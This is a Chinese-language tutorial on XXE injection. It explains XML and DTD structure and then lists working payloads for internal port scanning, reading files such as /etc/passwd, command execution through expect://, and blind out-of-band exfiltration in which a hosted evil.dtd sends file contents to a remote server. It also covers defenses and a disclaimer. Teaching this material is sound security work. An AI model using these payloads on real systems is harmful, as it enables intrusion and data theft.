2.5_XXE(XML外部实体注入)
-
XML简介
-
XML:传输和存储数据的数据格式;
-
XML 文档结构(组成):XML 声明,DTD 文档类型定义,ELEMENT 文档元素;
<!-- XML声明 --> <?xml version="1.0" standalone="no" ?> <!--xml文档属性--> <!--standalone="yes" 表示内部DTD,no表示外部DTD(默认)--> <!-- DTD(文档类型定义):定义元素属性和顺序 --> <!--DOCTYPE 定义标签--> <!--ELEMENT 定义元素--> <!--ENTITY 定义实体--> <!DOCTYPE person [ <!--根元素(必须存在),自定义标签名(person)成对出现,且区分大小写--> <!ELEMENT person(name,age,country)> <!--声明person元素有3个元素--> <!ELEMENT name(#PCDATA)> <!--声明name为"#PCDATA"类型--> <!--"#PCDATA"类型可被解析--> <!ELEMENT age(#CDATA)> <!--声明age为"#CDATA"类型--> <!--"#CDATA"类型不可被解析--> <!ELEMENT country(#PCDATA)> <!--声明country为"#PCDATA"类型--> <!ELEMENT sss ANY> <!--ANY 表示可以包含任意元素--> <!--重点: 参数实体 和 外部实体 (ENTITY)--> <!ENTITY % address SYSTEM "address.txt"><!--声明外部参数实体:声明实体内容在XML文档外--> <!--实体相当于常量,参数实体相当于变量--> <!--外部[参数]实体格式:<!ENTITY [%] 实体名称 SYSTEM/PUBLIC "外部DTD的资源地址">--> <!--例:<!ENTITY % remote SYSTEM "http://121.40.24.5:8000/evil.dtd"> --> <!ENTITY % name "小明"> <!--声明内部参数实体:声明实体内容("小明")在XML文档中--> <!--内部[参数]实体格式:<!ENTITY [%] 实体名称 "实体值">--> ]> <!--文档元素--> <person> <name>&name;</name> <age>1</age> <country>China</country> <sss> <name>&name;</name> <!--sss接收"小明"--> </sss> </person>
-
外部引用支持的协议(通用:
file,ftp,http
)PHP JAVA .NET libxml2 - file
- ftp
- http
- php
- data
- glob
- phar
- compress.zlib
- compress.bzip2
- file
- ftp
- http
- jar
- https
- gopher
- netdoc
- mailto
- file
- ftp
- http
- https
- file
- ftp
- http
-
XXE简介
-
XXE:外部实体注入漏洞。由于XML解析器允许外部实体的引用,导致攻击者可以对其进行攻击;
-
原理:XML解析器允许外部实体的引用;
-
危害(利用方式):
1). 扫描内网端口(http);
2). 攻击内网网站(http);
3). 任意文件读取(file,php);
4). 命令执行(expect); -
XXE 类型(分类)
分类 利用方式
有回显 直接利用即可
<!--判断是否存在XXE漏洞,返回XXE则存在--> <?xml version = "1.0"?> <!DOCTYPE a [<!ENTITY b "XXE">]><c>&b;</c> <!--扫描内网端口IP--> <!--如果端口开放,服务器将返回相应的HTTP响应,否则可能超时或返回错误。--> <!DOCTYPE test [ <!ENTITY xxe SYSTEM "http://192.168.1.1:80" >]> <root> <name>&xxe;</name> </root> <!--攻击内网网站--> <!--如果内网中的 192.168.1.2 存在,并且 /admin 路径没有适当的访问控制,XXE攻击可能会成功访问该页面。--> <!DOCTYPE test [ <!ENTITY xxe SYSTEM "http://192.168.1.2/admin" >]> <root> <name>&xxe;</name> </root> <!--任意文件读取--> <!--file协议 查看文件--> <?xml version="1.0"?> <!DOCTYPE a[ <!ENTITY xxe SYSTEM "file:///c:/windows/win.ini"> ]> <a>&xxe;</a> <!--php协议 查看文件,并将其转换为Base64编码--> <!DOCTYPE test [ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd" >]> <root> <name>&xxe;</name> </root> <!--命令执行--> <?xml version ="1.0"?> <!DOCTYPE ANY [ <!ENTITY xxe SYSTEM "expect://whoami"> <x>&xxe;</x>
无回显 通过
DNSlog
检测,http
日志外带;<!--无回显DNSLOG检测--> <?xml version="1.0"?> <!DOCTYPE a [ <!ENTITY % xxe SYSTEM "http://johmvd.dnslog.cn" > %xxe; ]> <!--无回显HTTP日志外带--> # VPS: # 启动服务:python -m SimpleHTTPServer 或 python -m http.server # 上传evil.dtd,文件内容: <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/windows/win.ini"> <!ENTITY % int "<!ENTITY % send SYSTEM 'http://192.168.1.1:8000?p=%file;'>"> # Brup payload: <!DOCTYPE convert [ <!ENTITY % remote SYSTEM "http://192.168.1.1:8000/evil.dtd"> %remote; %int; %send; ]>
-
XXE防御方式:
1). 禁用 外部实体(system,public);
2). 过滤 用户输入;
3). 升级libxml
组件; -
如何挖掘XXE漏洞:
1).寻找能够识别XML
语句的功能点,或是数据包类型是application/xml
的;
①. 功能点提交的语句是XML
;
②. 功能点提交的语句是Json
,但改为XML
后可用的 ; -
XXE验证方式:
1). 首先,判断目标是否接收XML
类型数据,如果是JSON
数据类型,可以将数据改为XML
数据格式;
①. 例: burp抓包中包含 :username=admin $ pass=123456;
②. 将其改为<username>admin</username><pass>123456</pass>
2). 其次,如果能够正常接收,则可以继续判断有无回显做进一步测试; -
XXE引用外部实体的关键字:system,public ;
-
XXE利用的协议:
file
,ftp
,http
,php
,data
等等;
-
免责声明
-
本专栏内容仅供参考,不构成任何投资、学习或专业建议。读者在参考本专栏内容时,应结合自身实际情况,谨慎作出决策。
-
本专栏作者及发布平台尽力确保内容的准确性和可靠性,但无法保证内容的绝对正确。对于因使用本专栏内容而导致的任何损失,作者及发布平台概不负责。
-
本专栏部分内容来源于网络,版权归原作者所有。如有侵权,请及时联系我们,我们将尽快予以处理。
-
读者在阅读本专栏内容时,应遵守相关法律法规,不得将内容用于非法用途。如因读者行为导致不良后果,作者及发布平台不承担任何责任。
-
本免责声明适用于本专栏所有内容,包括文字、图片、音频、视频等。读者在阅读本专栏内容时,视为已接受本免责声明。
-
作者及发布平台保留对本免责声明的解释权和修改权,如有变更,将第一时间在本专栏页面进行公告。读者继续使用本专栏内容,视为已同意变更后的免责声明。
敬请广大读者谅解。如有疑问,请联系我们。谢谢!